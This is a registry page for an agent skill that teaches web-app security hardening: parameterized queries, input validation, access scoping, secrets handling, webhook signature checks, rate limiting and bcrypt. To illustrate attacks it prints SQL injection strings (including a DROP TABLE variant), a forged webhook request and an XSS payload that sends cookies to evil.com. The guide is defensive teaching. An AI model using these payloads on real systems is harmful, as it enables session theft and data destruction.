agentleFS
alyanhaideralyanhaider/system-architecture/skills/security-hardening/skill.md

security-hardening

Skill2 starsChanged 5 months agoMITView on GitHub

Complete security guide for indie and vibe-coded web apps — covering SQL injection prevention, input validation, secrets management, webhook signature verification, broken access control, XSS prevention, and rate limiting. Use this skill whenever the user is building anything that stores user data, handles payments, takes user input, calls a database, or exposes an API. Also trigger for phrases like "how do I make this secure", "is this safe", "can this be hacked", "search bar security", "SQL injection", "protect my API",…

  • Reads credentials
  • Deletes or force-pushes

25 other projects use a version of this.

Adopted by

Most recently taken up by

Used with

Projects with it also use coordinate, incident-response and 9 more.

Other files people use alongside this one.

Files found in the same public projects as a version of this one, more often than they turn up anywhere else. Each project counts once, large collections count for less, and this file's own repository is left out.
  • swyxioSkill

    coordinate

    Coordinate focused Luna helpers for bounded work and Astra advisers for difficult design questions while doing the main work yourself.

    Also in 3 projects that use this

  • AnthropicSkill

    incident-response

    Run an incident response workflow — triage, communicate, and write postmortem. Trigger with "we have an incident", "production is down", an alert that needs severity assessment, a status update mid-incident, or when writing a blameless postmortem after resolution.

    Also in 5 projects that use this

  • OpenAISkill

    observability

    Vercel Observability expert guidance — Drains (logs, traces, speed insights, web analytics), Web Analytics, Speed Insights, runtime logs, custom events, OpenTelemetry integration, and monitoring dashboards. Use when instrumenting, debugging, or optimizing application performance and user experience on Vercel.

    Also in 4 projects that use this

  • GitHubSkill

    accessibility-audit

    Audits actual components and routes against applicable WCAG 2.2 A/AA criteria using consumer-owned design-system evidence and repository tools. Use when asked for an accessibility audit, a11y check, keyboard or focus review, contrast check, or screen-reader verification.

    Also in 3 projects that use this

  • MicrosoftSkill

    api-design

    Guide for designing and documenting RESTful APIs. Use when asked to design an API, create endpoints, or document an API.

    Also in 5 projects that use this

  • shanggqmSkill

    data-analysis

    数据分析技能,提供结构化的数据查询、统计分析和报告生成工作流。当用户需要查询数据库、进行数据统计分析、生成分析报告时使用。按规范输出原始数据、计算结果、Markdown报告和HTML可视化报告。

    Also in 3 projects that use this

The file

We split this skill into the rules it gives an agent

11 rules. 0 are common, 8 are distinctive, and 3 are very specific to this project.

  • 0

    Common

    Most of the 22 edited versions we read keep these.

  • 8

    Distinctive

    This author's own choices. Worth a look.

  • 3

    Very specific

    Tied to their project's names, files or tools. Probably skip.

  • Common
  • Distinctive
  • Very specific
  1. Distinctive:

    Never put secret API keys in frontend code.

    line 143
  2. Distinctive:

    When Stripe, GitHub, or any service sends a webhook to your server, anyone can fake that request.

    line 157
  3. Distinctive:

    Every major service has this — always implement it.

    line 181
  4. Distinctive:

    Never store plain text passwords.

    line 261
  5. Distinctive:

    All user input validated with type, length, format checks No user input concatenated into SQL strings — parameterized queries only All …

    line 266
  6. Distinctive:

    No user input concatenated into SQL strings — parameterized queries only All strings sanitized before storing in DB File uploads: MIME type …

    line 267
  7. Distinctive:

    All strings sanitized before storing in DB File uploads: MIME type verified, size limited

    line 268
  8. Distinctive:

    Every resource query scoped to req.user.id Sensitive actions (delete, admin) have additional authorization checks Passwords hashed with …

    line 274
  9. Very specific:

    All API keys in .env — never in code files .env in .gitignore No secret keys sent to or stored in the frontend config/env.js validates all …

    line 280
  10. Very specific:

    No secret keys sent to or stored in the frontend config/env.js validates all required vars on startup

    line 282
  11. Very specific:

    Add helmet() middleware to app.js

    line 308

“Common” is measured: kept by at least 6 in 10 of the 22 edited versions of this file we could read. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.

Keep what fits and drop the rest. Your version, ready for your agents.
Files
skill.md

Complete security guide for indie and vibe-coded web apps — covering SQL injection prevention, input validation, secrets management, webhook signature verification, broken access control, XSS prevention, and rate limiting. Use this skill whenever the user is building anything that stores user data, handles payments, takes user input, calls a database, or exposes an API. Also trigger for phrases like "how do I make this secure", "is this safe", "can this be hacked", "search bar security", "SQL injection", "protect my API", "secure my backend", "should I validate input", "how do I store secrets", "is my webhook safe". This skill should be consulted for EVERY backend feature — security is not optional and AI almost always skips it by default. Always apply these rules before writing any route, controller, or database query.Security Hardening Skill The Core Problem AI optimizes for making code work on the happy path. Attackers never take the happy path. Every piece of user input, every API endpoint, every database query is a potential attack surface. These protections must be explicitly added — AI skips them by default.

Attack 1: SQL Injection (Search Bars, Filters, Any User Input into DB) What It Is User types into a search bar. The query goes directly into SQL. The attacker types SQL commands instead of a search term. Vulnerable code — what AI writes: javascriptconst query = SELECT * FROM users WHERE name = '${searchInput}' db.run(query) What the attacker types: ' OR '1'='1 What the database sees: sqlSELECT * FROM users WHERE name = '' OR '1'='1' -- Returns EVERY user in the database Destruction variant: '; DROP TABLE users; -- The Fix: Parameterized Queries — Always javascript// CORRECT — user input is treated as data, never as SQL const query = SELECT * FROM users WHERE name = ? db.run(query, [searchInput])

// PostgreSQL syntax const result = await db.query( 'SELECT * FROM users WHERE name = $1', [searchInput] )

// Prisma (automatically parameterized) const users = await prisma.user.findMany({ where: { name: searchInput } }) Rule: Never concatenate user input into a SQL string. Ever. No exceptions. Tell Cursor This

"Use parameterized queries everywhere — never concatenate user input, request parameters, or any external data into SQL strings. Use ? placeholders (MySQL/SQLite) or $1 placeholders (PostgreSQL)."

Attack 2: Input Validation — Never Trust What Comes In What It Is Attackers don't use your frontend. They send raw HTTP requests with whatever data they want. If your backend doesn't validate, they can send:

Negative prices on an order Someone else's user ID to access their data A <script> tag in a name field that runs in other browsers (XSS) A 500MB string that crashes your server An email field containing SQL A boolean field containing {"$ne": null} (NoSQL injection)

Validation on Every Input javascript// Using express-validator const { body, param, validationResult } = require('express-validator')

const createProjectRules = [ body('name') .trim() .notEmpty().withMessage('Name is required') .isLength({ max: 100 }).withMessage('Name too long') .escape(), // strips HTML tags — prevents XSS stored in DB

body('description') .optional() .trim() .isLength({ max: 2000 }) .escape(),

body('price') .isFloat({ min: 0 }).withMessage('Price must be positive') ]

async function createProject(req, res) { const errors = validationResult(req) if (!errors.isEmpty()) { return res.status(400).json({ errors: errors.array() }) } // now safe to use req.body } What to Always Validate Input typeWhat to checkStringsLength min/max, allowed characters, trim whitespaceNumbersIs it actually a number? Min/max range? Integer or float?EmailsValid email formatPasswordsMinimum length, complexity if requiredIDsUUID format before hitting DBPrices/amountsPositive number, max ceilingDatesValid date, not in the past if requiredFilesMIME type, file size limitJSON bodySchema validation, reject unknown fields

Attack 3: Broken Access Control (Most Common Vulnerability) What It Is A user requests data that belongs to another user. Your backend returns it because it only checks if the user is logged in — not if they own the resource. Vulnerable code: javascriptasync function getProject(req, res) { const project = await Project.findById(req.params.id) // Gets ANY project by ID — attacker just iterates IDs res.json(project) } Attacker does: bashGET /api/projects/1 GET /api/projects/2 GET /api/projects/3

Gets everyone's projects

The Fix: Always Scope Queries to the Logged-In User javascriptasync function getProject(req, res) { const project = await Project.findById(req.params.id, req.user.id) // Only returns project if it belongs to this user if (!project) return res.status(404).json({ error: 'Not found' }) res.json(project) }

// In the model: async findById(id, userId) { const result = await db.query( 'SELECT * FROM projects WHERE id = $1 AND user_id = $2', [id, userId] // Must match BOTH id and user_id ) return result.rows[0] || null } Rule: Every DB query that returns user data must filter by the logged-in user's ID. Tell Cursor This

"Always scope database queries to req.user.id — never fetch a resource by ID alone. The query must check BOTH the resource ID and user_id to prevent users from accessing each other's data."

Attack 4: Secrets Exposure What AI Does Wrong

Hardcodes API keys in code files Puts database URLs in the codebase Commits .env files to GitHub

GitHub has bots that scan every public push for API keys. They find keys within minutes. Then they use your OpenAI key to generate content, your Stripe key to issue refunds, your DB credentials to dump your database. The Rules bash# .gitignore — always include these .env .env.local .env.production *.pem *.key config/secrets.json javascript// Wrong — hardcoded const stripe = new Stripe('sk_live_abc123hardcoded')

// Wrong — env var accessed directly everywhere const stripe = new Stripe(process.env.STRIPE_SECRET_KEY) // scattered in 8 files

// Right — all secrets through config/env.js const { stripe: stripeKey } = require('../config/env') const stripe = new Stripe(stripeKey) Frontend Secret Rule Never put secret API keys in frontend code. The browser is public. Anyone can see it.

❌ OpenAI key in React component ❌ Stripe secret key in frontend ✅ Stripe publishable key in frontend (designed to be public) ✅ All secret keys in backend only

Tell Cursor This

"All environment variables and secrets go in .env and are loaded through config/env.js. Never hardcode any API key, database URL, or secret in any code file. Never put secret keys in frontend code — only Stripe's publishable key is safe for the browser."

Attack 5: Fake Webhooks What It Is When Stripe, GitHub, or any service sends a webhook to your server, anyone can fake that request. Without verification, a hacker sends: bashPOST /webhooks/stripe {"type": "invoice.payment_succeeded", "data": {"object": {"customer": "cus_abc123"}}}

Your server upgrades the user without them paying

The Fix: Signature Verification javascript// Stripe webhook verification app.post('/webhooks/stripe', express.raw({ type: 'application/json' }), // MUST be raw buffer, not parsed JSON (req, res) => { let event try { event = stripe.webhooks.constructEvent( req.body, // raw buffer req.headers['stripe-signature'], process.env.STRIPE_WEBHOOK_SECRET ) } catch (err) { return res.status(400).json({ error: 'Webhook signature invalid' }) } // Only reaches here if Stripe actually sent it handleEvent(event) res.json({ received: true }) } ) Every major service has this — always implement it.

Attack 6: Mass Assignment What It Is AI writes controllers that spread the entire request body into DB updates. The attacker adds fields the user shouldn't control. Vulnerable code: javascriptasync function updateUser(req, res) { await User.update(req.user.id, req.body) // Attacker sends: { name: "Bob", is_admin: true, plan: "pro" } // All of it goes into the DB } The Fix: Explicit Field Allowlist javascriptasync function updateUser(req, res) { // Only allow specific fields — never spread the whole body const { name, bio, avatar_url } = req.body await User.update(req.user.id, { name, bio, avatar_url }) // Attacker's is_admin field is ignored because it was never destructured }

Attack 7: XSS (Cross-Site Scripting) What It Is User submits content with <script> tags. Your app stores it and displays it to other users. The script runs in their browser — stealing their session, redirecting them, or worse. Name: <script>document.location='https://evil.com/steal?cookie='+document.cookie</script> The Fixes On input: Sanitize before storing javascriptconst { escape } = require('express-validator') // or const DOMPurify = require('isomorphic-dompurify') const clean = DOMPurify.sanitize(userInput) On output (React): React escapes by default — never use dangerouslySetInnerHTML with user content HTTP Headers: Add these to every response javascript// In app.js const helmet = require('helmet') app.use(helmet()) // Sets Content-Security-Policy, X-XSS-Protection, and more

Rate Limiting — Protect Money and Resources javascriptconst rateLimit = require('express-rate-limit')

// Strict limit for expensive AI routes — protects your wallet const aiLimit = rateLimit({ windowMs: 60_000, // 1 minute max: 10, message: { error: 'Too many AI requests — please wait a moment' } })

// Auth routes — prevent brute force const authLimit = rateLimit({ windowMs: 15 * 60_000, // 15 minutes max: 5, skipSuccessfulRequests: true, message: { error: 'Too many login attempts — try again in 15 minutes' } })

// General API routes const generalLimit = rateLimit({ windowMs: 60_000, max: 100 })

Password Storage javascriptconst bcrypt = require('bcrypt') const SALT_ROUNDS = 12

// Storing password async function register(email, password) { const hash = await bcrypt.hash(password, SALT_ROUNDS) await User.create({ email, password_hash: hash }) // Never store the plain password }

// Verifying password async function login(email, password) { const user = await User.findByEmail(email) if (!user) return null

const match = await bcrypt.compare(password, user.password_hash) if (!match) return null

return user } Never store plain text passwords. Never log passwords. Never compare passwords with == .

Security Checklist — Apply to Every Feature Input

All user input validated with type, length, format checks No user input concatenated into SQL strings — parameterized queries only All strings sanitized before storing in DB File uploads: MIME type verified, size limited

Auth & Access

Protected routes have requireAuth middleware Every resource query scoped to req.user.id Sensitive actions (delete, admin) have additional authorization checks Passwords hashed with bcrypt before storing

Secrets

All API keys in .env — never in code files .env in .gitignore No secret keys sent to or stored in the frontend config/env.js validates all required vars on startup

Webhooks & External

Webhook signature verified before processing Webhook handler uses raw body buffer, not parsed JSON Price IDs on server only — never trust price from frontend

Infrastructure

Rate limiting per route — stricter on expensive/auth routes helmet middleware applied in app.js CORS configured to allow only your frontend domain

Master Security Prompt for Cursor Paste at the start of any backend session: Security requirements — apply to every endpoint and query:

  1. Parameterized queries only — never concatenate user input into SQL
  2. Validate and sanitize all req.body, req.params, req.query inputs before using them
  3. Scope all DB queries to req.user.id — check user_id in every WHERE clause on user data
  4. Explicit field allowlists in updates — never spread req.body directly
  5. Secrets in .env only, loaded through config/env.js — nothing hardcoded
  6. Webhook handlers verify signature with raw body buffer before processing
  7. Rate limiting applied per route — AI routes max 10/min, auth routes max 5/15min
  8. Add helmet() middleware to app.js
  9. CORS restricted to frontend domain only
  10. Passwords hashed with bcrypt — never stored plain

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.